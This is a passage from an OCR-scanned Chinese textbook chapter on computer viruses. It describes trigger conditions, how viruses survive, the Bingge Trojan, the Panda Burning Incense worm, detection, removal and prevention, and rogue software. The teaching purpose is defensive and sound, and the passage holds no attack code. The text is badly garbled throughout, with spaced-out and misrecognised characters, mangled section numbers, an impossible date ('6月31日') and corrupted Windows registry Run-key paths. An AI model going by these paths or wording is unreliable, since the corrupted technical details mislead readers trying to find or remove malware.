1. 计算 机 病毒 的 触发 


计算 机 病毒 的 触发 条 件 一 般 是 指 以 时 间或 操作 为 特定 条 件 , 也 就 是 说 , 当 处 于 病毒 
程序 规定 的 某 一 时 间 点 或 某 一 种 操作 时 ,程序 中 的 发 作 指令 被 激活 ,从 而 在 计算 机 等 终 
端 设备 上 反映 出 不 同 的 中 毒 症 状 。 

以 日 期 病毒 为 例 , 当 特定 日 期 月份 .年 份 达到 和 触发 条 件 时 ,病毒 就 会 发 作 。 例 如 "七 
月 杀手 ”(July Killer) 病 毒 ,是 一 种 针对 中 文 Word 的 宏 病 毒 , 每 人 逢 7 月 ,用 户 使 用 Word 
时 ,该 病毒 会 弹出 对 话 框 强制 用 户 选择 “确定 ”操作 ,一 旦 选择 “取消 操作 ”, 会 造成 系统 文 
件 自动 删除 ,使 计算 机 瘫痪 。“ 七 月 杀手 ”病毒 正 是 一 种 既 包 括 时 间 触 发 又 包括 操作 触发 
的 多 重 条 件 的 恶性 病毒 。 

【案例 7-2】 电子 邮件 病毒 触发 方式 。“ 欢 迎 时 光 ” 病 毒 (VBS. Haptime. A@mm) 作 
为 电子 邮件 的 附件 ,利用 邮件 系统 的 性 能 缺陷 把 自身 传播 出 去 ,可 以 在 用 户 没 有 运行 任 
何 附件 时 就 运行 自己 。 同 时 还 可 以 利用 邮件 系统 的 信纸 功能 ,将 自身 复制 在 信纸 的 html 
模板 上 ,以便 传 播 。 一 旦 用 户 收 到 这 种 含有 病毒 的 邮件 ,无论 是 否 打开 附件 ,只 要 浏览 了 
邮件 内 容 , 即 达到 了 该 病毒 的 触发 条 件 , 计 算 机 就 会 立刻 感染 病毒 。 

和 注意 : 病毒 程序 还 可 以 融合 多 个 触发 条 件 , 这 类 病毒 程序 将 多 个 触发 条 件 精心 拱 
配 , 使 其 更 具 威胁 性 、 隐 项 性 和 杀伤 力 。 某 些 多 和 触发 条 件 的 病毒 只 需 满 足 其 中 一 个 条 件 
即 可 发 作 , 还 有 一 些 是 满足 部 分 触发 条 件 时 会 发 作 , 其 余 是 必须 满足 所 有 条 件 病毒 才能 
发 作 。 

2. 计算 机 病毒 的 生存 


1) 计算 机 病毒 的 寄生 对 象 
计算 机 病毒 同 普通 应 用 程序 一 样 ,需要 存储 在 磁盘 上 , 才 得 以 感染 和 传播 。 但 具体 
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寄生 在 何 处 , 则 取决 于 病毒 完成 自身 主动 传播 的 方式 。 

计算 机 病毒 为 了 进行 自身 的 主动 传播 ,必须 使 自身 寄生 在 可 以 获得 执行 权 的 寄生 对 
象 上 。 就 目前 出 现 的 各 种 计算 机 病毒 来 看 .其 寄生 对 象 有 两 种 : 一 种 是 磁盘 引导 区 ; 另 一 
种 则 是 可 执行 文件 ,比如 . EXE 文件 。 它 们 都 有 获得 执行 权 的 能 力 ,病毒 寄生 其 中 ,可 以 
在 一 定 条 件 下 获得 执行 权 ,使 病毒 进一步 感染 计算 机 系统 ,实施 传播 和 破坏 活动 。 

2) 计算 机 病毒 的 生存 方式 

病毒 侵入 计算 机 系统 后 ,有 两 种 生存 方式 。 一 种 方式 是 用 自身 部 分 或 全 部 代码 替代 
磁盘 引导 区 或 可 执行 程序 文件 的 部 分 或 所 有 内 容 , 此 种 生存 方式 一 般 称 为 替代 式 生存 方 
式 。 另 一 种 生存 方式 为 链接 式 生存 方式 ,是 指 病毒 程序 将 自身 代码 作为 一 部 分 与 原 正常 
程序 链接 至 一 起 。 一 般 来 讲 , 引 导 区 病毒 适用 替代 式 ,而 可 执行 文件 病毒 则 采用 链接 式 。 


724 特种 及 新 型 病毒 实例 


1. 木马 


特洛伊 木马 (Trojan horse) 简称 为 木马 ,其 名 源 于 古 希 腊 传说 ,在 4. 3. 4 节 曾 经 做 过 
介绍 。 引 申 到 计算 机 领域 ,可 以 理解 为 一 类 可 以 远程 控制 的 恶意 程序 。 木 马 也 是 人 为 编 
写 的 应 用 程序 ,都 属于 计算 机 病毒 的 范畴 。 相 对 于 普通 计算 机 病毒 来 说 ,木马 具有 更 快 
的 传播 速度 以 及 更 加 严重 的 危害 性 ,但 其 最 大 的 破坏 性 在 于 它 通 过 修改 图 标 、 捆 绑 文件 、 
仿制 文件 等 方式 伪装 和 隐藏 自己 ,误导 用 户 下 载 程序 或 打开 文件 ,同时 收集 用 户 计 算 机 
信息 并 将 其 泄露 给 黑客 供 其 远程 控制 ,甚至 进一步 发 动 攻击 。 

【案例 7-3] 金山 安全 2010 木马 发 展 趋势 报告 。2010 年 以 来 ,绑架 型 木马 增长 迅 
猛 , 几 乎 占据 了 互联 网 新 增 木马 的 主流 。 绑 架 型 木马 的 启动 方式 .破坏 性 均 超出 了 传统 
木马 和 感染 型 木马 ,杀毒 软件 对 此 类 木马 的 查 杀 技术 也 面临 着 严峻 的 考验 。 木 马 已 经 成 
为 用 户 计算 机 安全 的 主要 威胁 ,互联 网 每 天 新 增 的 木马 数量 近 万 个 。 伴 随 着 反 木 马 技 术 
的 不 断 发 展 ,木马 制作 者 为 了 逃避 杀毒 软件 的 追 杀 , 在 传播 方式 、 破 坏 方式 等 方面 也 随 之 
不 断 创新 。2010 年 之 前 ,绑架 型 木马 已 经 出 现 ,但 并 没有 大 规模 爆发 。 进 入 2010 年 ,绑架 
型 木马 增长 迅猛 , 仅 2010 年 前 9 个 月 即 新 增 绑 架 型 木马 943 862 个 , 占 新 增 木马 的 84.2%。 

下 面 对 木 马 的 典型 实例 一 一 冰河 木马 进行 简要 分 析 。 

冰河 木马 诞生 伊始 是 作为 一 款 正当 的 网 络 远程 控制 软件 被 国人 认可 的 ,但 随 着 其 升 
级 版 本 的 发 布 , 其 强大 的 隐蔽 性 和 使 用 简单 的 特点 越 来 越 受 国内 黑客 的 青睐 ,最 终 使 其 
演变 为 黑客 进行 破坏 活动 所 使 用 的 工具 。 

1) 冰河 木马 的 主要 功能 

(1) 连接 功能 。 木 马 程序 可 以 理解 为 一 个 网 络 客户 机 /服务 器 程序 。 由 一 台 服 务 器 
提供 服务 ,一 台 主 机 (客户 机 ) 接 受 服务 。 服 务 器 一 般 会 打开 一 个 默认 的 端口 并 进行 监 
听 , 一 旦 服务 器 端口 接 到 客户 端的 连接 请 求 , 服务 器 上 的 相应 程序 就 会 自动 运行 ,接受 

(2) 控制 功能 。 可 以 通过 网 络 远 程控 制 对 方 终端 设备 的 鼠标 、 键 盘 或 存储 设备 等 ,并 
监视 对 方 的 屏幕 ,远程 关机 ,远程 重启 机 器 等 。 
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(3) 口令 的 获取 。 查 看 远程 计算 机 口令 信息 ,浏览 远程 计算 机 上 历史 口令 记录 。 

(4) 屏幕 抓 取 。 监 视 对 方 屏幕 的 同时 进行 截图 。 

(5) 远程 文件 操作 。 包 括 打 开 、 创 建 、. 上 传 . 下 载 . 复 制 .删除 .压缩 文件 等 。 

(6) 冰河 信使 。 冰 河 木马 提供 的 一 个 简易 点 对 点 聊天 室 ,客户 端 与 被 监控 端 可 以 通 
过 信使 进行 对 话 。 

2) 冰河 木马 的 原理 

冰河 木马 激活 服务 端 程序 G-Server. exe 后 ,可 将 在 目标 计算 机 的 C:\Windows\ 
system 目录 下 自动 生成 两 个 可 执行 文件 ,分 别 是 Kernel32. exe 和 Syselr. exe。 如 果 用 户 
只 找到 Kernel32. exe, 并 将 其 删除 ,那么 冰河 木马 并 未 完全 根除 ,只 要 打开 任何 一 个 文本 
文件 或 可 执行 程序 ,Syselr. exe 就 会 被 激活 而 再 次 生成 一 个 Kernel32. exe, 这 就 是 导致 冰 
河 木 马 屡 删 无 效 、 死 灰 复 燃 的 原因 。 


2. 蠕虫 病毒 


蠕虫 病毒 是 计算 机 病毒 的 一 种 , 它 具 有 计算 机 病毒 的 共性 ,如 传播 性 、 隐 项 性 、 破 坏 
性 等 ,同时 还 具有 一 些 个 性 特征 ,如 它 并 不 依赖 宿主 寄生 ,而 是 通过 复制 自身 在 网 络 环境 
下 进行 传播 。 同 时 ,蠕虫 病毒 较 普 通病 毒 的 破坏 性 更 强 , 借助 共享 文件 夹 . 电 子 邮件 、 恶 
意 网 页 .存在 漏洞 的 服务 器 等 伺机 传染 整个 网 络 内 的 所 有 计算 机 ,破坏 系统 ,并 使 系统 
瘫痪 。 

1) I WORM/EMANUEL 网 络 蠕虫 

该 病毒 通过 Microsoft 的 Outlook Express 来 自动 传播 给 受 感染 计算 机 的 地 址 簿 里 
的 所 有 人 ,给 每 人 发 送 一 封 带 有 该 附件 的 邮件 。 该 网 络 蠕虫 长 度 16 896 一 22 000B, 有 多 
个 变种 。 在 用 户 执 行 该 附件 后 ,该 网 络 蠕虫 程序 在 系统 状态 区 域 的 时 钟 旁 边 放 置 一 个 
“ 花 ” 一 样 的 图 标 ,如 果 用 户 点 击 该 * 花 "图标 ,就 会 出 现 一 个 消息 框 ,内 容 是 不 要 点 击 此 按 
钮 。 如 果 点 击 该 按钮 ,会 出 现 一 个 以 Emanuel 为 标题 的 信息 框 , 当 用 户 关闭 该 信息 框 时 
又 会 出 现 一 些 别 的 提示 信息 。 

该 网 络 蠕虫 程序 与 其 他 常见 的 网 络 蠕虫 程序 一 样 , 是 通过 网 络 上 的 电子 邮件 系统 
Outlook 来 传播 的 ,同样 是 修改 Windows 系统 下 的 主管 电子 邮件 收发 的 wsock32. dll X: 
件 。 它 与 别 的 网 络 蠕虫 程序 的 不 同 之 处 在 于 它 可 以 不 断 通过 网 络 自动 发 送 网 络 蠕虫 程 
序 本 身 ,而 且 发 送 的 文件 的 名 称 是 变化 的 。 它 同时 也 是 世界 上 第 一 个 可 将 自身 的 病毒 体 
分 解 成 多 个 大 小 可 变化 的 程序 块 (插件 ) ,分 别 潜藏 计算 机 内 的 不 同位 置 , 以 便 躲 避 查 毒 
软件 。 该 病毒 可 将 这 些 碎 块 聚合 成 一 个 完整 的 病毒 ,再 进行 传播 和 破坏 。 

2) 熊猫 烧香 

熊猫 烧香 是 一 种 经 过 多 次 变种 的 蠕虫 病毒 。 曾 在 2006 一 2007 年 间 肆 虐 互 联网 ,被 
列 为 我 国 2006 十 大 病毒 之 首 ,一 度 成 为 “ 毒 王 ”。 自 爆发 后 , 短 时 间 内 出 现 90 余 个 变种 ， 
上 百 万 台 计 算 机 感染 此 毒 ,并 深 受 其 害 。 

感染 中 毒 的 计算 机 系统 中 ,可 执行 文件 会 出 现 * 能 猫 烧 香 图 案 , 其 他 更 为 明显 的 中 
毒 症 状 表现 为 计算 机 蓝屏 、 反 复 重 启 、 硬 盘 数据 遭 破 坏 等 。 同 时 ,作为 蠕虫 病毒 的 一 类 变 
种 ,熊猫 烧香 病毒 同样 可 以 通过 网 络 进行 传播 .感染 网 络 内 所 有 计算 机 系统 ,造成 不 同 程 


第 人 六 计算 机 疝 考 防范 


197 


度 的 局 域 网 和 互联 网 瘫痪 。 
加 讨论 思考 
(1) 计算 机 病毒 由 几 部 分 构成 ? 
(2) 计算 机 病毒 的 主要 传播 途径 有 哪些 ? 
(3) 试 述 电子 邮件 病毒 的 触发 方式 。 


73 计算 机 病毒 的 检测 、 清 除 与 防范 


731 计算 机 病毒 的 检测 


根据 计算 机 病毒 的 特点 ,要 想 彻底 检查 出 计算 机 是 否 感染 病毒 ,必须 利用 多 种 方法 
进行 检查 ,主要 有 根据 异常 现象 判断 以 及 利用 专业 查 毒 软件 两 种 方法 。 


1. 根据 异常 现象 初步 判断 


虽然 不 能 准确 判断 系统 感染 了 何 种 病毒 ,但 是 ,可 通过 异常 现象 来 判断 病毒 的 存在 。 
根据 异常 现象 进行 初步 检测 是 计算 机 病毒 清除 防范 十 分 重要 的 一 个 环节 。 计 算 机 出 现 
的 异常 现象 主要 包括 下 面 几 个 方面 : 

(1) 计算 机 运行 异常 。 包 括 无 法 开机 、 开 机 速度 变 慢 、 系 统 运行 速度 慢 、 频 繁重 启 .无 
故 死机 、 自 动 关机 等 。 

(2) 屏幕 显示 异常 。 包 括 计算 机 蓝屏 、 弹 出 异常 对 话 框 , 产 生 特定 的 图 像 (如 小 球 计 
算 机 病毒 ) 等 。 

(3) 声音 播放 异常 。 出 现 非 系统 正常 声音 等 ,如 “ 扬 基 "(Yankee) 计 算 机 病毒 和 中 国 
的 “浏阳 河 ? 计 算 机 病毒 。 

(4) 文件 /系统 异常 。 无 法 找到 硬盘 分 区 ,文件 名 称 等 相关 属性 遭 更 改 , 硬 盘存 储 空 
间 意 外 变 小 ,无 法 打开 / 读 取 / 操 作文 件 ,数据 丢 失 或 损坏 ,CPU 利用 率 或 内 存 占 用 过 高 。 

(5) 外 设 异 常 。 鼠 标 、. 打 印 机 等 外 部 设备 出 现 异 常 无 法 正常 使 用 等 。 

(6) 网 络 异常 。 联 网 状态 下 不 能 正常 上 网 ,杀毒 软件 无 法 正常 升级 ,自动 弹出 网 页 ， 
主页 被 自 改 ,自动 发 送 电子 邮件 ,其 他 异常 现象 等 。 

当 以 上 蜡 常 现象 出 现 的 , 则 可 以 判断 计算 机 极 有 可 能 感染 了 病毒 ,需要 利用 专业 检 
测 工具 进一步 检查 病毒 的 存在 及 杀毒 。 


2. 利用 专业 工具 检测 病毒 


由 于 病毒 具有 较 强 的 隐蔽 性 ,必须 使 用 专业 工具 对 系统 进行 查 毒 ,主要 是 指针 对 包 
括 特定 的 内 存 ,文件 ,引导 区 、 网 络 在 内 的 一 系列 属性 ,能 够 准确 地 报 出 病毒 名 称 。 常 见 
的 杀毒 软件 基本 都 含有 查 毒 功能 ,例如 瑞星 、 金 山 毒霸 、 卡 巴 斯 基 等 。 

当前 , 查 毒 软件 使 用 的 最 主要 的 病毒 查 杀 方式 为 病毒 标记 法 。 此 种 方式 首先 将 新 病 
毒 加 以 分 析 , 编 成 病毒 码 , 加 入 资料 库 中 ,然后 通过 检测 文件 、. 扇 区 和 内 存 , 利 用 标记 ,也 
就 是 病毒 常用 代码 的 特征 来 查找 已 知 病毒 ,与 病毒 资料 库 中 的 数据 并 进行 对 比分 析 , 即 
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可 判断 是 否 中 毒 。 既 可 在 系统 运行 时 检测 出 计算 机 病毒 ,又 能 够 在 计算 机 病毒 出 现时 立 
刻 发 现 。 


732 常见 病毒 的 清除 方法 


各 种 系统 和 网 络 虽然 有 多 种 杀毒 软件 和 防火 墙 的 保护 ,但 计算 机 中 毒 情况 还 是 很 普 
遍 , 如 果 意 外 中 毒 ,一定 要 及 时 清理 病毒 。 根 据 病毒 对 系统 造成 的 破坏 的 程度 ,可 采取 以 
下 措施 进行 病毒 清除 

(1) 一 般 常 见 流行 病毒 。 此 种 情况 对 计算 机 危害 较 小 ,一 般 运 行 杀 毒 软 件 进行 查 杀 
即 可 。 若 可 执行 文件 的 病毒 无 法 根除 ,可 将 其 删除 后 重新 安装 。 

(2) 系统 文件 破坏 。 多 数 系 统 文件 被 破坏 将 导致 系统 无 法 正常 运行 ,破坏 程度 较 大 。 
若 删除 文件 重新 安装 后 仍 未 解决 问题 , 则 需 请 专业 计算 机 人 员 进 行 清除 和 数据 恢复 。 在 
数据 恢复 前 ,要 将 重要 的 数据 文件 进行 备份 , 当 出 现 误 杀 时 方便 进行 恢复 。 有 些 病 毒 如 
“新 时 光 脚 本 病毒 ”运行 时 在 内 存 中 不 可 见 , 而 系统 则 会 认为 其 为 合法 程序 而 加 以 保护 ， 
保证 其 继续 运行 ,这 就 造成 了 病毒 不 能 清除 。 而 在 DOS 下 查 杀 , Windows 系统 没有 运 
行 ,所 以 病毒 也 就 不 可 能 运行 ,在 这 种 环境 下 可 以 将 病毒 彻底 清除 干净 。 


733 计算 机 病毒 的 防范 


杀毒 不 如 搞 好 防毒 ,如 果 能 够 采取 全 面 的 防护 措施 , 则 会 更 有 效 地 避免 病毒 的 危害 。 
因此 ,计算 机 病毒 的 防范 应 该 采取 预防 为 主 的 策略 。 

首先 要 在 思想 上 有 反 病 毒 的 警惕 性 ,依靠 反 病毒 技术 和 管理 措施 ,这 些 病毒 就 无 法 
逾越 计算 机 安全 保护 屏障 ,从 而 不 能 广泛 传播 。 个 人 用 户 要 及 时 升级 可 靠 的 反 病毒 产 
品 ,因为 新 病毒 以 每 日 4 一 6 个 的 速度 产生 , 反 病毒 产品 必须 适应 病毒 的 发 展 ,不 断 升级 ， 
才能 识别 和 杀 灭 新 病毒 ,为 系统 提供 真正 的 安全 环境 。 每 一 位 计算 机 使 用 者 都 要 遵守 病 
毒 防治 的 法 律 和 制度 ,做 到 不 制造 病毒 ,不 传播 病毒 ; 养 成 良好 的 上 机 习惯 ,如 定期 备份 
系统 数据 文件 ;外 部 存储 设备 连接 到 计算 机 前 先 杀 毒 再 使 用 ;不 访问 违法 或 不 明 网 站 ,不 
下 载 和 传播 不 良 文 件 等 。 


734 木马 的 检测 、 清 除 与 防范 
1. 木马 的 检测 


木马 程序 不 同 于 一 般 的 计算 机 病毒 程序 ,并 不 像 病 毒 程序 那样 感染 文件 ,而 是 以 寻 
找 后 门 、 窃 取 密 码 和 重要 文件 为 主 ,还 可 以 对 计算 机 进行 跟踪 监视 控制. 查看、 修改 资料 
等 操作 ,具有 很 强 的 隐蔽 性 、 突 发 性 和 攻击 性 。 由 于 木马 具有 很 强 的 隐蔽 性 ,用 户 往往 是 
在 自己 的 密码 被 盗 , 机 密 文 件 丢失 的 情况 下 才 知道 已 中 木马 。 

检测 自己 的 计算 机 是 否 中 了 木马 可 以 从 以 下 4 点 进行 。 

1) 查看 开放 端口 

当前 最 为 常见 的 木马 通常 是 基于 TCP/UDP 协议 进行 客户 端 与 服务 器 端 之 间 的 通信 
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的 ,这 样 我 们 就 可 以 通过 查看 在 本 机 上 开放 的 端口 来 了 解 是 否 有 可 疑 的 程序 打开 了 某 个 可 
疑 的 端口 ,如 果 查 看 到 有 可 疑 的 程序 在 利用 可 疑 端口 进行 连接 , 则 很 有 可 能 就 是 中 了 木马 。 

2) 查看 win. ini 和 system. ini 系统 配置 文件 

查看 win. ini 和 system. ini 文件 是 否 有 被 修改 的 地 方 。 例 如 ,有 的 木马 通过 修改 
win. ini 文件 中 的 语句 进行 自动 加 载 。 

3) 查看 系统 进程 

木马 也 是 一 个 应 用 程序 ,需要 进程 来 执行 。 可 以 通过 查看 系统 进程 来 推断 木马 是 否 
存在 。 在 Windows 系统 下 , 按 下 Ctrl 十 Alt 十 Del 键 进入 任务 管理 器 ,就 可 看 到 系统 正在 
运行 的 全 部 进程 。 力 求 了 解 每 个 系统 运行 的 进程 是 做 什么 用 的 ,这 样 ,木马 运行 时 ,就 不 
难看 出 来 哪个 是 木马 程序 的 活动 进程 了 。 

4) 查看 注册 表 

木马 一 旦 被 加 载 ,一般 都 会 对 注册 表 进 行 修改 。 一 般 来 说 ,木马 在 注册 表 中 实现 加 
载 一 般 是 在 以 下 几 个 位 置 : 


HKEY_IOCAL, MACHINE\ Software\Microsoft\Windows\Current Version\Rmn 

HKEY IOCRL MACHINE\ Software Microsoft LWWindows N OurrentVersicniRurOnoe 
HKEY_IOCAL, MACHINE\ Software Microsoft LWWindowsNOurrent Versicn\RunServices 
HEEY LOCAL, MACHINEN Software Microsoft Windows X OurrentVersicniRmServicesomnce 
HKEY CURRENT USERNSoftware Microsoft Windows X Ourrent Version\Rm 

HKEY CURRENT USERNSoftware Microsoft Windows N OurrentVersion(RurOnoe 

HKEY CURRENT USERNSoftware Microsoft Windows X OurrentVersion(RunServices 


2. 木马 的 清除 


一 般 来 说 ,木马 的 清除 可 以 采用 手动 清除 和 杀毒 软件 清除 两 种 方式 。 

根据 检测 的 结果 来 手动 清除 木马 ,包括 删除 可 疑 的 启动 程序 .恢复 win. ini 和 
system. ini 系统 配置 文件 的 原始 配置 .停止 可 疑 的 系统 进程 和 修改 注册 表 等 方式 。 另 外 
就 是 利用 常用 的 杀毒 软件 ,如 瑞星 .诺顿 等 ,这 些 软件 对 木马 的 查 杀 比较 有 效 。 有 些 木马 
并 不 能 彻底 地 被 查 杀 ,在 系统 重新 启动 后 还 会 自动 加 载 , 所 以 要 注意 经 常 更 新 病毒 库 。 


3. 木马 的 防范 


在 检测 和 清除 木马 的 同时 ,还 要 注意 对 木马 的 预防 ,做 到 防 患 于 未 然 。 

1) 不 点 击 不 明 的 网 址 或 邮件 

当前 很 多 木马 都 是 通过 网 址 链接 或 邮件 传播 , 当 收 到 来 历 不 明 的 邮件 时 ,不 要 随便 
打开 ,应 尽快 删除 。 同 时 ,要 将 邮箱 设置 为 拒 收 垃圾 邮件 状态 。 

2) 不 下 载 没 有 确认 的 软件 

如 需 下 载 必须 常 备 的 软件 ,最 好 找 一 些 知 名 的 网 站 下 载 ,而 且 不 要 下 载 和 运行 来 历 
不 明 的 软件 。 而 且 , 在 安装 软件 前 最 好 用 杀毒 软件 查看 其 有 没有 病毒 ,再 进行 安装 。 

3) 及 时 漏洞 修复 和 堵 住 可 疑 端口 

一 般 木 马 都 是 通过 漏洞 在 系统 上 打开 端口 . 留 下 后 门 ,以 便 上 传 木马 文件 和 执行 代 
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码 , 在 修复 漏洞 的 同时 ,需要 对 端口 进行 检查 ,把 可 疑 的 端口 封 堵 住 ,不 留 后 患 。 

4) 使 用 实时 监控 程序 

在 网 上 浏览 时 ,最 好 运行 反 木 马 实时 监控 查 杀 病毒 程序 和 个 人 防火 墙 , 并 定时 对 系 
统 进行 病毒 检查 。 还 要 经 常 升级 系统 和 更 新 病毒 库 , 注 意 关 注 关 于 木马 病毒 的 新 闻 公告 
等 ,提前 制定 防范 木马 的 有 效 措施 。 


735 病毒 和 防 病毒 技术 的 发 展 趋势 


防范 与 解决 计算 机 病毒 已 迫在眉睫 ,但 要 防范 计算 机 病毒 ,首先 要 对 计算 机 病毒 进 
行 系统 的 了 解 , 才 能 控制 .预防 和 铲除 计算 机 病毒 。 


1. 计算 机 病毒 的 发 展 趋势 


近年 来 ,伴随 着 互联 网 的 高 速 发 展 ,病毒 也 进入 了 愈加 猩 狂 和 泛滥 的 阶段 ,目前 计算 
机 病毒 的 发 展 主要 体现 在 以 下 4 个 方面 。 

1) 病毒 的 种 类 和 数量 迅速 增长 

【案例 7-4] 计算 机 病毒 种 类 样本 。2010 年 上 半年 , 据 江 民 反 病 毒 中 心 、 江 民 全 球 病 
毒 监测 预警 系统 、 江 民 客户 服务 中 心 联合 统计 的 数据 ,截至 2010 年 6 月 31 日 , 共 截获 新 
增 各 种 计算 机 病毒 (样本 ) 数 总 计 7 584 737 个 (包括 木马 、 后 门 、 广 告 程 序 、 间 谍 木 马 、 脚 
本 病毒 .漏洞 病毒 .蠕虫 病毒 ), 其 中 新 增 木 马 (样本 )4 454 277 个 ,新 增 后 门 ( 样 本 ) 
623 791 个 ,新 增 广告 程序 (样本 )223 639 个 ,新 增 漏洞 病毒 (样本 )166 359 个 ,其 他 病毒 
(样本 )1 063 255 个 ,各 种 新 型 病毒 及 变异 还 在 不 断 出 现 。 

2) 病毒 传播 手段 呈 多 样 化 .复合 化 趋势 

全 国信 息 网 络 安全 状况 与 计算 机 病毒 疫情 调查 报告 调查 结果 和 研究 分 析 表 明 : 计算 
机 病毒 木马 本 土 化 趋势 加 剧 , 变 种 速度 更 快 ,变化 更 多 ,潜伏 性 和 隐蔽 性 增强 ,识别 更 难 ， 
与 防 病毒 软件 的 对 抗 能 力 更 强 , 攻 击 目 标明 确 , 趋 利 目 的 明显 。 因 此 ,计算 机 用 户 账 号 密 
码 被 资 现象 日 益 增 多 。 病 毒 木 马 传播 的 主要 渠道 是 网 页 挂 马 和 移动 存储 介质 ,其 中 网 页 
挂 马 出 现 复合 化 趋势 。 

3) 病毒 制作 技术 水 平 不 断 梦 升 

病毒 制造 者 不 断 更 新 着 病毒 的 制造 技术 ,不 断 推 出 病毒 的 新 变种 ,利用 新 的 技术 手 
段 隐藏 自身 进程 ,通过 不 断 更 新 的 技术 终止 杀毒 软件 的 运行 ,逃避 杀毒 软件 对 于 病毒 的 
查 杀 ,达到 传播 有 害 程 序 破坏 数据 文件 、 非 法 窃取 利益 的 目的 。 更 值得 关注 的 是 ,近年 
来 ,大 部 分 主流 病毒 技术 都 进入 了 驱动 级 ,开始 与 杀毒 软件 争 抢 系统 驱动 的 控制 权 , 从 而 
控制 杀毒 软件 ,致使 杀毒 软件 功能 失效 。 

4) 病毒 的 危害 日 益 增 大 

越 来 越 多 的 木马 和 病毒 破坏 计算 机 系统 ,造成 死机 、 蓝 屏 、 数 据 丢 失 、 窃 取 用 户 账号 
密码 等 ,给 用 户 造成 巨大 的 损失 和 破坏 .“ 熊 猫 烧香 ”等 病毒 迅速 在 互联 网 上 疯狂 肆虐 ， 
被 感染 的 计算 机 数量 急速 增长 ,严重 影响 着 个 人 用 户 和 企业 用 户 的 信息 安全 。 


2. 防 病 毒 技 术 的 发 展 趋势 
随 着 实时 监控 技术 的 日 益 发 展 完善 , 防 病毒 技术 能 够 达到 监控 文件 .邮件 、 网 页 、 即 
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时 通信 、 木 马 修改 注册 表 、 隐 私信 息 维 护 的 目的 。 但 随 着 病毒 不 断 推出 新 变种 , 防 病毒 技 
术 由 被 动 防御 向 主动 防御 转变 势 在 必 行 。 这 是 因为 ,如 果 用 户 不 及 时 对 网 络 病毒 库 进行 
更 新 ,会 滞后 于 病毒 制造 者 及 病毒 发 作 时 间 ,加 之 近年 网 络 新 兴 病 毒 频 发 , 反 病 毒 领域 已 
经 认识 到 必须 由 被 动 使 用 杀毒 软件 向 主动 防御 新 型 病毒 转变 。 所 以 , 云 概念 、 云 计算 、 云 
安全 \ 云 杀毒 等 新 兴 概 念 应 运 而 生 。 

云 安全 (cloud security) 计 划 是 网 络 时 代 信 息 安全 的 最 新 体现 , 它 融 合 了 并 行 处 理 、 
网 格 计算 、 未 知 病毒 行为 判断 等 新 兴 技 术 和 概念 ,通过 网 状 的 大 量 客户 端 对 网 络 中 软件 
行为 的 异常 进行 监测 ,获取 互联 网 中 木马 、 恶 意 程 序 的 最 新 信息 ,传送 到 服务 器 端 进 行 自 
动 分 析 和 处 理 , 再 把 病毒 和 木马 的 解决 方案 分 发 到 每 一 个 客户 端 。 病 毒 库 不 再 保存 在 本 
地 ,而 是 保存 在 官方 服务 器 中 ,在 扫描 的 时 候 和 服务 器 交互 ,以 判断 是 否 有 病毒 。 依 托 云 
安全 进行 杀毒 能 降低 杀毒 软件 升级 的 频率 ,降低 查 杀 的 系统 资源 占用 率 , 并 可 以 极 大 地 
减 小 本 地 病毒 数据 库 的 容量 。 

云 安全 技术 应 用 的 最 大 优势 就 在 于 ,识别 和 查 杀 病毒 不 再 仅仅 依靠 本 地 硬盘 中 的 病 
毒 库 , 而 是 依靠 庞大 的 网 络 服务 ,实时 进行 采集 .分 析 以 及 处 理 。 整 个 互联 网 就 是 一 个 巨 
大 的 “杀毒 软件 ”, 参 与 者 越 多 ,每 个 参与 者 就 越 安 全 ,整个 互联 网 就 会 更 安全 。 

[ER 讨论 思考 

(1) 计算 机 中 毒 常见 的 异常 现象 有 哪些 ? 

(2) 如 何 检测 清除、 防范 计算 机 病毒 ? 

(3) 如 何 检测 清除、 防范 木马 程序 ? 


“74 恶意 软件 的 危害 和 清除 


741 恶意 软件 概述 


恶意 软件 主要 是 指 在 未 明确 提示 用 户 或 未 经 用 户 许可 的 情况 下 ,在 用 户 计算 机 或 其 
他 终端 上 安装 运行 ,侵害 用 户 合法 权益 的 软件 。 

中 国 互联 网 协会 颁布 的 (“恶意 软件 定义 ”细则 明确 细 化 了 恶意 软件 的 定义 和 范围 : 
满足 以 下 8 种 情况 之 一 即 可 被 认定 为 恶意 软件 : 强制 安装 ,难以 印 载 , 浏 览 器 支持 ,广告 
弹出 ,恶意 收集 用 户 信息 ,恶意 务 载 ,恶意 捆绑 ,以 及 其 他 侵犯 用 户 知情 权 和 选择 权 的 恶 
意 行为 。 

恶意 软件 通常 难以 清除 ,影响 计算 机 用 户 正 常 使 用 ,无 法 正常 印 载 和 删除 ,给 用 户 造 
成 了 巨大 困扰 ,因此 又 获得 别名 “流氓 软件 ”。 


742 恶意 软件 的 危害 与 清除 


目前 ,恶意 软件 充斥 着 整个 互联 网 ,让 网 络 用 户 时 刻 提心吊胆 ,网 上 生活 变 得 危机 四 
伏 。 很 多 网 站 推出 了 一 些 插件 ,只 要 浏览 该 网 站 ,就 会 不 知 不 觉 地 在 用 户 计 算 机 中 安装 
插件 。 男 外 还 有 破坏 者 和 不 法 分 子 在 网 上 散布 一 些 恶 意 程序 ,严重 破坏 了 互联 网 的 安全 
和 秩序 。 除 了 通过 互联 网 ,一些 恶意 软件 还 会 捆绑 在 一 些 软件 里 ,在 安装 软件 的 同时 恶 
意 软件 也 被 放置 在 客户 计算 机 中 。 这 些 恶 意 软件 不 但 会 占用 大 量 的 系统 资源 ,同时 还 可 
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能 带 有 木马 ,病毒 ,甚至 会 泄漏 用 户 个 人 隐私 。 
1. 恶意 软件 的 危害 


1) 强制 安装 .难以 印 载 

多 数 恶 意 软 件 在 未 经 用 户 许可 或 没有 明确 提示 的 情况 下 ,在 用 户 计算 机 上 安装 软 
件 。 此 类 软件 通常 难以 印 载 ,包括 通用 种 载 方式 和 人 为 破坏 印 载 方式 ,难以 根除 。 

2) 劫持 浏览 器 

很 多 用 户 都 遭 到 过 浏览 器 主页 被 自 改 的 侵扰 ,这 就 是 恶意 软件 利用 系统 漏洞 修改 用 
户 浏览 器 主页 或 相关 设置 ,强迫 用 户 改 变 使 用 习惯 ,使 其 访问 特定 网 站 ,更 严重 者 还 会 出 
现 无 法 上 网 的 问题 。 

3) 弹出 广告 

在 使 用 计算 机 的 过 程 中 ,弹出 窗口 是 人 们 经 常 遇 到 ,一 些 是 对 应 用 户 的 操作 必须 出 
现 的 ,而 另 一 些 则 是 被 动 接 受 的 。 尤 其 是 各 种 广告 窗口 更 是 无 孔 不 和 人 ,防不胜防 ,这 些 弹 
